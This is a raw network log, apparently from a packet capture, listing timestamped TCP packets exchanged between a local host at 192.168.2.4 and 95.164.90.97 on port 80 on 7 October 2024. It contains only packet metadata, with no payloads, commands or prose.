Oct 7, 2024 03:15:48.234014988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234029055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234044075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234059095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234060049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234074116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234112024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234164000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234179974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234195948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234210968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234216928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234227896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234242916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234260082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234262943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234308004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234311104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234325886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234342098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234355927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234360933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234402895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234467030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234489918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234504938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234513044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234519958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234535933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234550953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234554052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234568119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234586954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234601021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234618902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234632969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234633923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234658957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234664917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234677076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234692097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234707117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234708071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234723091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234738111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234749079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234754086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234770060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234785080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234787941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234792948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234803915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234816074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234822035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234879017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234918118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234941006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234956980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234971046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.234972000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234988928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.235003948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.235014915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.235050917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.235079050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.235094070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.235110044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.235125065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.235126019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.235173941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.257117987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.257153988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.257170916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.257189035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.257205963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.257221937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.257220984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.257242918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.257255077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.257297039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319279909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319309950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319336891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319354057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319380999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319406986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319423914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319474936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319514036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319681883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319730043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319744110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319745064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319773912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319777966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319791079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319807053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319830894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319835901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319852114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319880962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319895983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319899082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319916964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319931984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319932938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319960117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319969893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319974899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.319991112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.319992065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320019007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320030928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320035934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320063114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320065022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320091009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320091009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320107937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320123911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320125103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320142031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320147991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320174932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320193052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320194006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320219994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320234060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320250034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320252895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320266008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320275068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320288897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320297956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320317984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320327044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320334911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320338011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320363045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320363998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320385933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320389986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320400953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320406914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320422888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320432901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320440054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320461988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320466042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320483923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320494890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320499897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320525885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320530891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320558071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320571899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320576906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320593119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320601940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320621967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320637941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320641041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320660114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320671082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320676088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320693016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320704937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320739031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320744038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320755005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320772886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320781946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320801020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320816994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320820093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320837975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320854902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320856094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320877075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320911884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320940018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320960999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320976973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.320986986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.320993900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321007013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321010113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321027994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321028948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321048975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321052074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321068048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321085930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321090937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321110964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321144104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321146011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321161032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321177959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321190119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321194887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321213007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321213961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321240902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321240902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321259022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321274996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321276903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321305990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321310997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321332932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321348906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321353912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321367025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321377039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321388006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321413994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321414948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321430922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321449995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321456909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321465969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321484089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321496964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321512938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321516991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321530104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321556091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321557045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321573973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321580887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321592093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321610928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321620941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321630001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321650982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321675062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321680069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321698904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321715117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321726084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321731091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321746111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321748972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321767092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321768999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321808100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321813107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321829081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321845055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321856976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321861982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321881056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321896076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321897984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.321929932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.321952105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.343720913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343735933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343754053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343811035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343838930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343852997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.343857050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343874931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343892097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.343905926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.343934059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406200886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406218052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406244993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406260967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406264067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406291008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406291962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406308889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406332970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406347036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406349897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406374931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406398058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406506062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406547070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406584024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406637907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406687021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406702995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406728983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406735897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406744957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406754017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406758070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406769991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406795979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406812906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406829119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406837940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406845093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406883001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406888008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406933069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406934023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406963110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406972885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.406985044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.406999111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407013893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407017946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407035112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407043934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407062054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407069921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407084942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407098055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407109022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407114029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407130957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407133102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407147884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407155037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407166004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407175064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407196045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407197952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407213926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407218933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407232046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407241106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407248974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407263041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407284975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407284975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407305002 CEST	80	49737	95.164.90.97	192.168.2.4
